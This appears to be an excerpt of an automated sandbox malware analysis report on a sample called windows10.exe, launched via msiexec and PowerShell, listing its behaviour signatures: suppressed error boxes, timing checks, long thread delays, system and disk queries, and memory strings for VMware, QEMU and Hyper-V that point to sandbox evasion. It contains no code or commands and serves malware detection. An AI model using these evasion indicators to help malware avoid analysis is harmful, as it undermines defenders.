Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\disk\Enum name: 0

Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Code function: 13_2_0127E8AD rdtsc

13_2_0127E8AD

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4875			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4937			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7C03.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7CC1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7AC9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7C43.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI7B56.tmp	Jump to dropped file

Source: C:\Windows\Installer\MSI7F24.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_9-34980
Source: C:\Windows\Installer\MSI7F35.tmp	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_10-34822

Source: C:\Windows\Installer\MSI7F24.tmp	API coverage: 4.2 %
Source: C:\Windows\Installer\MSI7F35.tmp	API coverage: 4.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7236	Thread sleep count: 4875 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7216	Thread sleep count: 4937 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8240	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8036	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\00000809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\CIMV2 : Win32_ComputerSystem

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\CIMV2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Installer\MSI7F24.tmp	Code function: 9_2_00B1069D FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00B1069D
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: 10_2_0084069D FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_0084069D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_0094D08C FindFirstFileW,	13_2_0094D08C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_009AD08C FindFirstFileW,	17_2_009AD08C

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Code function: 13_2_0094DCF8 GetSystemInfo,

13_2_0094DCF8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Datacenter without Hyper-V Core
Source: windows10.exe, 00000017.00000002.3065560354.0000000004C48000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: #Microsoft-Windows-Hyper-V-VID-Admin
Source: windows10.exe, 00000017.00000003.2199348333.0000000000837000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000835000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Analytic
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-AnalyticLMEMP
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198578857.000000000081B000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198600228.0000000000819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/AdminLMEM`
Source: windows10.exe, 00000017.00000003.2199348333.0000000000837000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000835000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-Operational
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMUU
Source: svchost.exe, 00000004.00000002.2871586034.000001B242655000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2869836566.000001B23D2B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198755968.0000000000812000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-OperationalLMEMh
Source: windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174455109.000000007FDC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SecureVirtualMachine
Source: windows10.exe, 00000017.00000002.3065560354.0000000004BCD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: -Microsoft-Windows-Hyper-V-Hypervisor-Analytic
Source: windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000844000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199431913.0000000000845000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AnalyticQc
Source: windows10.exe, 00000017.00000002.3065560354.0000000004C3A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: *Microsoft-Windows-Hyper-V-Hypervisor-Admin`
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor-AdminLMEMX
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/DiagnoseLMEMh
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174455109.000000007FDC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fsSecureVirtualMachine
Source: windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198600228.0000000000844000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000844000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198429892.0000000000844000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/Admin
Source: windows10.exe, 00000017.00000002.3065560354.0000000004BB7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 0Microsoft-Windows-Hyper-V-Guest-Drivers/Analyticx
Source: MSI7F24.tmp, 00000009.00000002.1737165958.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\-1
Source: windows10.exe, 00000017.00000003.2198429892.0000000000811000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198755968.0000000000812000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Guest-Drivers/AnalyticLMEMh
Source: windows10.exe, 00000017.00000003.2198864272.0000000000847000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198429892.0000000000847000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198600228.0000000000847000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000844000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-Admin
Source: windows10.exe, 00000017.00000003.2198864272.0000000000847000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198429892.0000000000847000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198600228.0000000000847000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2198221694.000000000080C000.00000004.00000020.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2199052745.0000000000844000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-VID-Analytic
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Datacenter without Hyper-V Full
Source: windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000003.2174210713.000000007FCF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Enterprise without Hyper-V Full
Source: windows10.exe, 00000017.00000002.3065560354.0000000004BCD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: -Microsoft-Windows-Hyper-V-Guest-Drivers/Admin
Source: windows10.exe, 00000017.00000002.3065560354.0000000004BB7000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 3Microsoft-Windows-Hyper-V-Guest-Drivers/Operationalx
